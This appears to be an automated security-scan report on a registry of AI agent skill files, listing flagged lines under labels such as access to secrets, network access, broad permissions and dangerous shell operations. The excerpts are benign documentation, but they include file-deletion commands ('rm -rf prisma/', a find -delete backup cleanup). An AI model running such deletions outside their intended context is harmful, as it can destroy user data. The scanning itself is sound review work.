[Credential-related source omitted] - Access to secretsline 350
[Credential-related source omitted] - Access to secretsline 416
[Credential-related source omitted] - Access to secretsline 417
[Credential-related source omitted] - Access to secretsline 419
[Credential-related source omitted] - Access to secretsline 420
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted] - Access to secretsline 521
[Credential-related source omitted] - Network accessline 559
CSP_DEFAULT_SRC = ("'none'",) CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com") - Network accessline 560
CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com") - Network accessline 561
CSP_STYLE_SRC = ("'self'",) CSP_IMG_SRC = ("'self'", "https://cdn.example.com") CSP_FONT_SRC = ("'self'", "https://fonts.gstatic.com") - Network accessline 562
CSP_IMG_SRC = ("'self'", "https://cdn.example.com") - Network accessline 563
CSP_FONT_SRC = ("'self'", "https://fonts.gstatic.com") - Access to secretsline 647
[Credential-related source omitted] - Dangerous shell operationline 810
find $BACKUP_DIR -type f -mtime +7 -delete
packages/autoskills/skills-registry/django-expert/references/security-checklist.md
- Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted] - Dangerous shell operationline 295
**Rule**: Never use `pickle` or `eval()` on user input.
packages/autoskills/skills-registry/django-patterns/SKILL.md
- Access to secretsline 62
[Credential-related source omitted]
packages/autoskills/skills-registry/django-security/SKILL.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 341
CSRF_COOKIE_HTTPONLY = True # Prevent JavaScript access CSRF_COOKIE_SAMESITE = 'Lax' # Prevent CSRF in some cases CSRF_TRUSTED_ORIGINS = ['https://example.com'] # Trusted domains - Network accessline 343
CSRF_TRUSTED_ORIGINS = ['https://example.com'] # Trusted domains - Network accessline 368
fetch('/api/endpoint/', { - Network accessline 475
# Use a separate domain for media in production MEDIA_DOMAIN = 'https://media.example.com' - Network accessline 476
MEDIA_DOMAIN = 'https://media.example.com' - Network accessline 543
# settings.py CSP_DEFAULT_SRC = "'self'" CSP_SCRIPT_SRC = "'self' https://cdn.example.com" - Network accessline 544
CSP_DEFAULT_SRC = "'self'" CSP_SCRIPT_SRC = "'self' https://cdn.example.com" CSP_STYLE_SRC = "'self' 'unsafe-inline'" - Network accessline 545
CSP_SCRIPT_SRC = "'self' https://cdn.example.com" - Network accessline 546
CSP_STYLE_SRC = "'self' 'unsafe-inline'" CSP_IMG_SRC = "'self' data: https:" CSP_CONNECT_SRC = "'self' https://api.example.com" - Network accessline 548
CSP_CONNECT_SRC = "'self' https://api.example.com" - Access to secretsline 580
[Credential-related source omitted] - Access to secretsline 583
[Credential-related source omitted] - Access to secretsline 587
[Credential-related source omitted] - Access to secretsline 633
[Credential-related source omitted]
packages/autoskills/skills-registry/drizzle/metadata.json
- Network accessline 30
"updated": "2025-11-30", "source_path": "toolchains/typescript/data/drizzle/SKILL.md", "repository": "https://github.com/bobmatnyc/claude-mpm-skills" - Network accessline 31
"source_path": "toolchains/typescript/data/drizzle/SKILL.md", "repository": "https://github.com/bobmatnyc/claude-mpm-skills" } - Network accessline 32
"repository": "https://github.com/bobmatnyc/claude-mpm-skills"
packages/autoskills/skills-registry/drizzle/references/performance.md
packages/autoskills/skills-registry/drizzle/references/vs-prisma.md
- Dangerous shell operationline 430
rm -rf prisma/ - Network accessline 475
### Drizzle - Docs: [orm.drizzle.team](https://orm.drizzle.team) - Network accessline 476
- Docs: [orm.drizzle.team](https://orm.drizzle.team) - Network accessline 477
- Discord: [drizzle.team/discord](https://drizzle.team/discord) - Network accessline 478
- GitHub: [drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm) - Network accessline 480
### Prisma - Docs: [prisma.io/docs](https://prisma.io/docs) - Network accessline 481
- Docs: [prisma.io/docs](https://prisma.io/docs) - Network accessline 482
- Discord: [pris.ly/discord](https://pris.ly/discord) - Network accessline 483
- GitHub: [prisma/prisma](https://github.com/prisma/prisma)
packages/autoskills/skills-registry/durable-objects/SKILL.md
- Network accessline 14
| Resource | URL | |----------|-----| | Docs | https://developers.cloudflare.com/durable-objects/index.md | - Network accessline 15
|----------|-----| | Docs | https://developers.cloudflare.com/durable-objects/index.md | | API Reference | https://developers.cloudflare.com/durable-objects/api/index.md | - Network accessline 16
| Docs | https://developers.cloudflare.com/durable-objects/index.md | - Network accessline 17
| API Reference | https://developers.cloudflare.com/durable-objects/api/index.md | - Network accessline 18
| Best Practices | https://developers.cloudflare.com/durable-objects/best-practices/index.md | - Network accessline 19
| Examples | https://developers.cloudflare.com/durable-objects/examples/index.md | - Network accessline 20
| Roles and permissions | https://developers.cloudflare.com/workers/authorization/durable-objects/index.md | - Access to secretsline 82
[Credential-related source omitted] - Network accessline 104
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 105
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 117
3. **Use SQLite storage** - Configure `new_sqlite_classes` in migrations 4. **Initialize in constructor** - Use `blockConcurrencyWhile()` for schema setup only 5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03) - Network accessline 118
4. **Initialize in constructor** - Use `blockConcurrencyWhile()` for schema setup only 5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03) 6. **Persist first, cache second** - Always write to storage before updat - Network accessline 119
5. **Use RPC methods** - Not fetch() handler (compatibility date >= 2024-04-03) - Network accessline 125
Durable Objects do not have separate roles or permissions; access follows the Worker that implements them. Retrieve the current [Durable Objects authorization guidance](https://developers.cloudflare.com/workers/authorization/durable-objects - Network accessline 131
- Storing critical state only in memory (lost on eviction/crash) - Using `await` between related storage writes (breaks atomicity) - Holding `blockConcurrencyWhile()` across `fetch()` or external I/O - Network accessline 133
- Holding `blockConcurrencyWhile()` across `fetch()` or external I/O
packages/autoskills/skills-registry/durable-objects/references/rules.md
- Network accessline 7
| Task | Documentation | |------|---------------| | Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices - Network accessline 8
|------|---------------| | Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects - Network accessline 9
| Choose object boundaries, deterministic routing, parent-child relationships, or initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects/index.md) | - Network accessline 10
| Choose SQLite or maintain an existing KV-backed class | [SQLite storage API](https://developers.cloudflare.com/durable-objects/api/sqlite-storage-api/index.md); [Legacy KV storage API](https://developers.cloudflare.com/durable-objects/api - Network accessline 11
| Review storage gates, external I/O races, transactions, or schema initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects/index.md); [SQLite storage API](https: - Network accessline 12
| Configure class lifecycle changes | [Class exports](https://developers.cloudflare.com/durable-objects/reference/durable-objects-migrations/index.md); [Legacy class migrations](https://developers.cloudflare.com/durable-objects/reference/du - Network accessline 13
| Set placement hints or jurisdiction constraints | [Data location](https://developers.cloudflare.com/durable-objects/reference/data-location/index.md) | | Create stubs, invoke RPC, or use HTTP handlers | [Invoke methods](https://developers - Network accessline 14
| Create stubs, invoke RPC, or use HTTP handlers | [Invoke methods](https://developers.cloudflare.com/durable-objects/best-practices/create-durable-object-stubs-and-send-requests/index.md); [Namespace API](https://developers.cloudflare.com/ - Network accessline 15
| Schedule per-object work and handle retries | [Alarms](https://developers.cloudflare.com/durable-objects/api/alarms/index.md) | - Network accessline 16
| Restore WebSocket connection state after hibernation | [Use WebSockets](https://developers.cloudflare.com/durable-objects/best-practices/websockets/index.md) | - Network accessline 17
| Handle exceptions, restarts, and shutdowns | [Error handling](https://developers.cloudflare.com/durable-objects/best-practices/error-handling/index.md); [Object lifecycle](https://developers.cloudflare.com/durable-objects/concepts/durable
packages/autoskills/skills-registry/durable-objects/references/testing.md
- Network accessline 7
| Task | Documentation | |------|---------------| | Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/wr - Network accessline 8
|------|---------------| | Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index - Network accessline 9
| Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | - Network accessline 10
| Migrate an existing pool-based suite | [Migrate to Vitest plugin](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-to-vitest-plugin/index.md) | - Network accessline 11
| Configure bindings, runtime options, or multiple Workers | [Vitest configuration](https://developers.cloudflare.com/workers/testing/vitest-integration/configuration/index.md) | - Network accessline 12
| Test RPC, Worker HTTP routes, instance separation, SQLite storage, and alarms | [Testing Durable Objects](https://developers.cloudflare.com/durable-objects/examples/testing-with-durable-objects/index.md) | - Network accessline 13
| Inspect internals, enumerate instances, or trigger scheduled alarms with test helpers | [Test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) | - Network accessline 14
| Choose state cleanup and concurrency behavior | [Isolation and concurrency](https://developers.cloudflare.com/workers/testing/vitest-integration/isolation-and-concurrency/index.md) |
packages/autoskills/skills-registry/durable-objects/references/workers.md
- Access to secretsline 95
[Credential-related source omitted] - Network accessline 106
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 107
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 116
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 117
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 293
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 294
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 318
[Credential-related source omitted] - Network accessline 324
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 325
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 326
[Credential-related source omitted]
packages/autoskills/skills-registry/eas-app-stores/SKILL.md
- Network accessline 10
> **EAS service - costs apply.** Cloud builds use EAS plan resources, and EAS services have free-tier and paid-plan limits. Apple Developer and Google Play memberships are separate. Check https://expo.dev/pricing for the requested service.
packages/autoskills/skills-registry/eas-app-stores/references/app-store-metadata.md
- Network accessline 67
"releaseNotes": "What's new in this version...", "promoText": "Limited time offer!", "privacyPolicyUrl": "https://example.com/privacy", - Network accessline 68
"promoText": "Limited time offer!", "privacyPolicyUrl": "https://example.com/privacy", "supportUrl": "https://example.com/support", - Network accessline 69
"privacyPolicyUrl": "https://example.com/privacy", - Network accessline 70
"supportUrl": "https://example.com/support", - Network accessline 71
"marketingUrl": "https://example.com" - Network accessline 289
// Fetch translations from CMS/localization service const translations = await fetch( - Network accessline 290
const translations = await fetch( - Network accessline 291
"https://api.example.com/app-store-copy" - Network accessline 448
Install the [Expo Tools extension](https://marketplace.visualstudio.com/items?itemName=expo.vscode-expo-tools) for:
packages/autoskills/skills-registry/eas-app-stores/references/ios-app-store.md
- Network accessline 24
1. **Apple Developer Account** - Enroll at [developer.apple.com](https://developer.apple.com) - Network accessline 161
EAS Submit uploads the binary to App Store Connect. Public distribution continues through the app version's App Review and release flow, as described in the [EAS Submit guide](https://docs.expo.dev/submit/ios/). - Network accessline 163
1. Open the correct app and iOS version in App Store Connect. In its Build section, select the exact processed version/build you verified. Reuse an eligible TestFlight build when its code, icon, and configuration are ready for production; b - Network accessline 164
2. Complete the required listing and review information: screenshots, description, support/privacy URLs, age rating, privacy declarations, export compliance, reviewer contact/login, and pricing/availability as applicable. Resolve the versio - Network accessline 165
3. Choose the requested release timing: manual release, automatic release after approval, or automatic release no earlier than a chosen date. Approval is still required for the date-based option. 4. Click **Add for Review**, inspect the dra - Network accessline 166
4. Click **Add for Review**, inspect the draft submission, then **Submit for Review**. Adding to a draft alone does not send it to Apple. Handle review messages and verify the resulting status. See [Apple's submission steps](https://develop - Network accessline 167
5. After approval, follow the selected release timing. For manual release, the version waits in **Pending Developer Release** until **Release This Version** is completed. Verify availability in the intended storefronts before reporting it l
packages/autoskills/skills-registry/eas-app-stores/references/native-ios.md
- Network accessline 3
Use this path when the app runs SwiftUI or UIKit and the task is to build or distribute it with EAS. Adding React Native screens is a different task. [EAS Build supports native projects without Expo or React Native](https://docs.expo.dev/bu - Network accessline 48
The [default iOS worker](https://github.com/expo/eas-cli/blob/main/packages/build-tools/src/builders/ios.ts) skips prebuild for checked-in native projects but still runs `pod install`. For an app with no pods, a minimal `Podfile` can serve - Network accessline 57
Use the app's real deployment target and target name. This does not add React Native pods. If the project must avoid CocoaPods or has a different layout, use a [custom EAS build](https://docs.expo.dev/custom-builds/get-started/) or archive/ - Network accessline 61
Select the actual shared scheme. Set `ios.image` from the [current build-image list](https://docs.expo.dev/build-reference/infrastructure/) when a particular Xcode/SDK is required. Use explicit build configurations; `developmentClient: true - Network accessline 102
EAS remote versioning increments a counter. The [native version updater](https://github.com/expo/eas-cli/blob/main/packages/eas-cli/src/build/ios/version.ts) writes `CFBundleVersion` to the target's explicit `INFOPLIST_FILE`. A generated pl - Network accessline 139
The default icon should be 1024×1024 with no alpha channel, even if every pixel looks opaque. Preserve transparency in dark variants and Icon Composer layers; follow [Apple's guidance for each appearance](https://developer.apple.com/documen - Network accessline 163
Complete the [public release steps in App Store Connect](ios-app-store.md#complete-the-public-release): select the processed build, finish the listing/privacy/review information, submit for App Review, and apply the requested release timing
packages/autoskills/skills-registry/eas-app-stores/references/play-store.md
- Network accessline 5
1. **Google Play Console Account** - Register at [play.google.com/console](https://play.google.com/console)
packages/autoskills/skills-registry/eas-app-stores/references/testflight.md
- Network accessline 45
[Apple's TestFlight overview](https://developer.apple.com/help/app-store-connect/test-a-beta-version/testflight-overview/) describes tester limits and beta review. Processing, compliance, group assignment and invitations affect availability - Network accessline 62
Use [EAS Submit for iOS](https://docs.expo.dev/submit/ios/) for current CLI/configuration guidance, and [Apple's internal-tester guide](https://developer.apple.com/help/app-store-connect/test-a-beta-version/add-internal-testers/) for group
packages/autoskills/skills-registry/eas-hosting/SKILL.md
- Network accessline 10
> **EAS service - costs apply.** EAS Hosting is a paid Expo Application Services product with free-tier limits; production deploys use your plan's request and bandwidth allowance. See https://expo.dev/pricing. Authoring API routes and expor - Network accessline 145
const response = await fetch("https://api.openai.com/v1/chat/completions", { - Access to secretsline 149
[Credential-related source omitted] - Network accessline 210
This starts a local server at `http://localhost:8081` with full API route support. - Network accessline 215
curl http://localhost:8081/api/hello - Network accessline 216
curl -X POST http://localhost:8081/api/users -H "Content-Type: application/json" -d '{"name":"Test"}' - Access to secretsline 249
[Credential-related source omitted] - Network accessline 272
# https://docs.expo.dev/eas/workflows/syntax/#deploy - Network accessline 319
// Use fetch instead of node-fetch const response = await fetch("https://api.example.com"); - Network accessline 320
const response = await fetch("https://api.example.com"); - Access to secretsline 346
[Credential-related source omitted] - Network accessline 358
// From React Native components const response = await fetch("/api/hello"); - Network accessline 359
const response = await fetch("/api/hello"); - Network accessline 362
// With body const response = await fetch("/api/users", { - Network accessline 363
const response = await fetch("/api/users", { - Network accessline 407
const response = await fetch( - Network accessline 408
[Credential-related source omitted] - Access to secretsline 408
[Credential-related source omitted]
packages/autoskills/skills-registry/eas-workflows/SKILL.md
- Broad permissionsline 1
Read,Write,Bash(node:*),Bash(npx *eas-cli@*) - Network accessline 11
> **EAS service - costs apply.** EAS Workflows run on Expo Application Services, a paid product with free-tier limits. Each workflow job consumes your plan's build/compute minutes, and jobs that build or submit also need paid Apple Develope - Network accessline 24
1. **JSON Schema** — https://api.expo.dev/v2/workflows/schema - It is NECESSARY to fetch this schema - Network accessline 31
2. **Syntax Documentation** — https://raw.githubusercontent.com/expo/expo/refs/heads/main/docs/pages/eas/workflows/syntax.mdx - Network accessline 36
3. **Pre-packaged Jobs** — https://raw.githubusercontent.com/expo/expo/refs/heads/main/docs/pages/eas/workflows/pre-packaged-jobs.mdx
packages/autoskills/skills-registry/eas-workflows/scripts/fetch.js
packages/autoskills/skills-registry/eas-workflows/scripts/package.json
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elevenlabs-music/SKILL.md
- Network accessline 11
Generate original music from text prompts via [inference.sh](https://inference.sh) CLI. - Network accessline 13
 - Network accessline 17
> Requires inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md) - Network accessline 161
# 3. Mix together (no inference.sh app mixes audio; use ffmpeg locally) curl -L -o music.mp3 "<music-url>" - Network accessline 162
curl -L -o music.mp3 "<music-url>" - Network accessline 163
curl -L -o voice.mp3 "<voice-url>"
packages/autoskills/skills-registry/elevenlabs-tts/SKILL.md
- Network accessline 11
Premium text-to-speech with 22+ voices via [inference.sh](https://inference.sh) CLI. Each ElevenLabs model is its own app, at one price. - Network accessline 13
 - Network accessline 17
> Requires the inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md) - Access to secretsline 209
[Credential-related source omitted] - Network accessline 254
# 2. Create talking head video belt app run bytedance/omnihuman-1-5 --input '{ "image": "https://portrait.jpg", - Network accessline 255
belt app run bytedance/omnihuman-1-5 --input '{ "image": "https://portrait.jpg", "audio": "<audio-url-from-step-1>" - Network accessline 256
"image": "https://portrait.jpg",
packages/autoskills/skills-registry/elysia/SKILL.md
- Network accessline 8
Always consult [elysiajs.com/llms.txt](https://elysiajs.com/llms.txt) for code examples and latest API.
packages/autoskills/skills-registry/elysia/examples/basic.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/body-parser.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/complex.ts
- Executable scriptline 1
Executable file - Network accessline 109
.all('/all', () => 'hi') .listen(8080, ({ hostname, port }) => { console.log(`🦊 Elysia is running at http://${hostname}:${port}`) - Network accessline 110
.listen(8080, ({ hostname, port }) => { console.log(`🦊 Elysia is running at http://${hostname}:${port}`) }) - Network accessline 111
console.log(`🦊 Elysia is running at http://${hostname}:${port}`)
packages/autoskills/skills-registry/elysia/examples/cookie.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/error.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/file.ts
packages/autoskills/skills-registry/elysia/examples/guard.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/map-response.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/redirect.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/rename.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/schema.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/state.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/upload-file.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/elysia/examples/websocket.ts
- Executable scriptline 1
Executable file - Network accessline 22
}) .listen(3000, (server) => { console.log(`http://${server.hostname}:${server.port}`) - Network accessline 23
.listen(3000, (server) => { console.log(`http://${server.hostname}:${server.port}`) }) - Network accessline 24
console.log(`http://${server.hostname}:${server.port}`)
packages/autoskills/skills-registry/elysia/integrations/ai-sdk.md
packages/autoskills/skills-registry/elysia/integrations/better-auth.md
- Network accessline 21
new Elysia() .mount(auth.handler) // http://localhost:3000/api/auth - Network accessline 22
.mount(auth.handler) // http://localhost:3000/api/auth - Network accessline 28
// Mount with prefix .mount('/auth', auth.handler) // http://localhost:3000/auth/api/auth - Network accessline 29
.mount('/auth', auth.handler) // http://localhost:3000/auth/api/auth - Network accessline 31
// Customize basePath export const auth = betterAuth({ basePath: '/api' // http://localhost:3000/auth/api - Network accessline 32
export const auth = betterAuth({ basePath: '/api' // http://localhost:3000/auth/api }) - Network accessline 33
basePath: '/api' // http://localhost:3000/auth/api - Network accessline 82
new Elysia() .use(cors({ origin: 'http://localhost:3001', - Network accessline 83
.use(cors({ origin: 'http://localhost:3001', methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'], - Network accessline 84
origin: 'http://localhost:3001',
packages/autoskills/skills-registry/elysia/integrations/cloudflare-worker.md
packages/autoskills/skills-registry/elysia/integrations/drizzle.md
packages/autoskills/skills-registry/elysia/integrations/nuxt.md
- Network accessline 61
See [nuxt-elysia](https://github.com/tkesgar/nuxt-elysia) for more config.
packages/autoskills/skills-registry/elysia/integrations/react-email.md
- Network accessline 134
See [React Email Integrations](https://react.email/docs/integrations/overview).
packages/autoskills/skills-registry/elysia/integrations/tanstack-start.md
- Network accessline 20
const handle = ({ request }: { request: Request }) => app.fetch(request)
packages/autoskills/skills-registry/elysia/integrations/vercel.md
- Network accessline 42
{ "$schema": "https://openapi.vercel.sh/vercel.json", - Network accessline 43
"$schema": "https://openapi.vercel.sh/vercel.json", - Network accessline 54
## Troubleshooting Vercel has zero config for Elysia. For additional config, see [Vercel docs](https://vercel.com/docs/frameworks/backend/elysia). - Network accessline 55
Vercel has zero config for Elysia. For additional config, see [Vercel docs](https://vercel.com/docs/frameworks/backend/elysia).
packages/autoskills/skills-registry/elysia/metadata.json
- Network accessline 4
"date": "20 Jan 2026", "abstract": "Create backend with ElysiaJS, a type-safe, high-performance framework.", "references": ["https://elysiajs.com/llms.txt"] - Network accessline 5
"abstract": "Create backend with ElysiaJS, a type-safe, high-performance framework.", "references": ["https://elysiajs.com/llms.txt"] } - Network accessline 6
"references": ["https://elysiajs.com/llms.txt"]
packages/autoskills/skills-registry/elysia/patterns/mvc.md
- Network accessline 128
it('should work', async () => { const response = await app .handle(new Request('http://localhost/')) - Network accessline 129
const response = await app .handle(new Request('http://localhost/')) .then((x) => x.text()) - Network accessline 130
.handle(new Request('http://localhost/')) - Network accessline 243
## Model Model or [DTO (Data Transfer Object)](https://en.wikipedia.org/wiki/Data_transfer_object) is handle by [Elysia.t (Validation)](/essential/validation.html#elysia-type). - Network accessline 244
Model or [DTO (Data Transfer Object)](https://en.wikipedia.org/wiki/Data_transfer_object) is handle by [Elysia.t (Validation)](/essential/validation.html#elysia-type).
packages/autoskills/skills-registry/elysia/plugins/graphql-apollo.md
- Network accessline 74
This plugin extends Apollo's [ServerRegistration](https://www.apollographql.com/docs/apollo-server/api/apollo-server/#options) (which is `ApolloServer`'s' constructor parameter).
packages/autoskills/skills-registry/elysia/plugins/graphql-yoga.md
- Network accessline 79
This plugin extends [GraphQL Yoga's createYoga options, please refer to the GraphQL Yoga documentation](https://the-guild.dev/graphql/yoga-server/docs) with inlining `schema` config to root.
packages/autoskills/skills-registry/elysia/plugins/jwt.md
- Network accessline 44
## Config This plugin extends config from [jose](https://github.com/panva/jose). - Network accessline 45
This plugin extends config from [jose](https://github.com/panva/jose). - Network accessline 95
### iss The issuer claim identifies the principal that issued the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.1) - Network accessline 96
The issuer claim identifies the principal that issued the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.1) - Network accessline 103
The claims in a JWT are normally statements about the subject as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.2) - Network accessline 108
Each principal intended to process the JWT MUST identify itself with a value in the audience claim as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.3) - Network accessline 110
### jti JWT ID claim provides a unique identifier for the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.7) - Network accessline 111
JWT ID claim provides a unique identifier for the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.7) - Network accessline 113
### nbf The "not before" claim identifies the time before which the JWT must not be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.5) - Network accessline 114
The "not before" claim identifies the time before which the JWT must not be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.5) - Network accessline 116
### exp The expiration time claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.4) - Network accessline 117
The expiration time claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.4) - Network accessline 122
This claim can be used to determine the age of the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.6) - Network accessline 124
### b64 This JWS Extension Header Parameter modifies the JWS Payload representation and the JWS Signing input computation as per [RFC7797](https://www.rfc-editor.org/rfc/rfc7797). - Network accessline 125
This JWS Extension Header Parameter modifies the JWS Payload representation and the JWS Signing input computation as per [RFC7797](https://www.rfc-editor.org/rfc/rfc7797). - Network accessline 130
This parameter allows originators to explicitly signal a change of key to recipients as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.4) - Network accessline 132
### x5t (X.509 certificate SHA-1 thumbprint) header parameter is a base64url-encoded SHA-1 digest of the DER encoding of the X.509 certificate [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign - Network accessline 133
(X.509 certificate SHA-1 thumbprint) header parameter is a base64url-encoded SHA-1 digest of the DER encoding of the X.509 certificate [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS - Network accessline 135
### x5c (X.509 certificate chain) header parameter contains the X.509 public key certificate or certificate chain [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS as per [RFC7515](htt - Network accessline 136
(X.509 certificate chain) header parameter contains the X.509 public key certificate or certificate chain [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS as per [RFC7515](https://www - Network accessline 138
### x5u (X.509 URL) header parameter is a URI [RFC3986](https://www.rfc-editor.org/rfc/rfc3986) that refers to a resource for the X.509 public key certificate or certificate chain [RFC5280] corresponding to the key used to digitally sign th - Network accessline 139
(X.509 URL) header parameter is a URI [RFC3986](https://www.rfc-editor.org/rfc/rfc3986) that refers to a resource for the X.509 public key certificate or certificate chain [RFC5280] corresponding to the key used to digitally sign the JWS as - Network accessline 144
The keys MUST be encoded as a JWK Set [JWK] as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.2) - Network accessline 149
This is intended for use by the application when more than one kind of object could be present in an application data structure that can contain a JWS as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.9) - Network accessline 154
This is intended for use by the application when more than one kind of object could be present in the JWS Payload as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.9)
packages/autoskills/skills-registry/elysia/plugins/openapi.md
packages/autoskills/skills-registry/elysia/plugins/opentelemetry.md
- Network accessline 52
new BatchSpanProcessor( new OTLPTraceExporter({ url: 'https://api.axiom.co/v1/traces', - Network accessline 53
new OTLPTraceExporter({ url: 'https://api.axiom.co/v1/traces', headers: { - Network accessline 54
url: 'https://api.axiom.co/v1/traces', - Access to secretsline 56
[Credential-related source omitted]
packages/autoskills/skills-registry/elysia/references/bun-fullstack-dev-server.md
packages/autoskills/skills-registry/elysia/references/deployment.md
- Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 134
[Credential-related source omitted] - Network accessline 136
CORS_ORIGIN=https://example.com - Network accessline 174
// vercel.json { "$schema": "https://openapi.vercel.sh/vercel.json", - Network accessline 175
{ "$schema": "https://openapi.vercel.sh/vercel.json", "bunVersion": "1.x" - Network accessline 176
"$schema": "https://openapi.vercel.sh/vercel.json", - Network accessline 283
.use(opentelemetry({ serviceName: 'my-service', endpoint: 'http://localhost:4318' - Network accessline 284
serviceName: 'my-service', endpoint: 'http://localhost:4318' })) - Network accessline 285
endpoint: 'http://localhost:4318' - Network accessline 355
}) .use(cors({ origin: process.env.CORS_ORIGIN || 'http://localhost:3000' - Network accessline 356
.use(cors({ origin: process.env.CORS_ORIGIN || 'http://localhost:3000' })) - Network accessline 357
origin: process.env.CORS_ORIGIN || 'http://localhost:3000'
packages/autoskills/skills-registry/elysia/references/route.md
packages/autoskills/skills-registry/elysia/references/testing.md
- Network accessline 21
const res = await app.handle( new Request('http://localhost/') - Network accessline 22
new Request('http://localhost/') - Network accessline 42
const res = await app.handle( new Request('http://localhost/user/123') - Network accessline 43
new Request('http://localhost/user/123') - Network accessline 62
const res = await app.handle( new Request('http://localhost/user', { - Network accessline 63
new Request('http://localhost/user', { - Network accessline 128
it('should login successfully', async () => { const res = await authModule.handle( new Request('http://localhost/auth/login', { - Network accessline 129
const res = await authModule.handle( new Request('http://localhost/auth/login', { method: 'POST', - Network accessline 130
new Request('http://localhost/auth/login', { - Network accessline 147
it('should reject invalid credentials', async () => { const res = await authModule.handle( new Request('http://localhost/auth/login', { - Network accessline 148
const res = await authModule.handle( new Request('http://localhost/auth/login', { method: 'POST', - Network accessline 149
new Request('http://localhost/auth/login', { - Network accessline 165
it('should return 401 for unauthenticated profile request', async () => { const res = await authModule.handle( new Request('http://localhost/auth/profile') - Network accessline 166
const res = await authModule.handle( new Request('http://localhost/auth/profile') ) - Network accessline 167
new Request('http://localhost/auth/profile') - Network accessline 234
const res = await testApp.handle( new Request('http://localhost/users') - Network accessline 235
new Request('http://localhost/users') - Network accessline 256
const res = await app.handle( new Request('http://localhost/protected', { - Network accessline 257
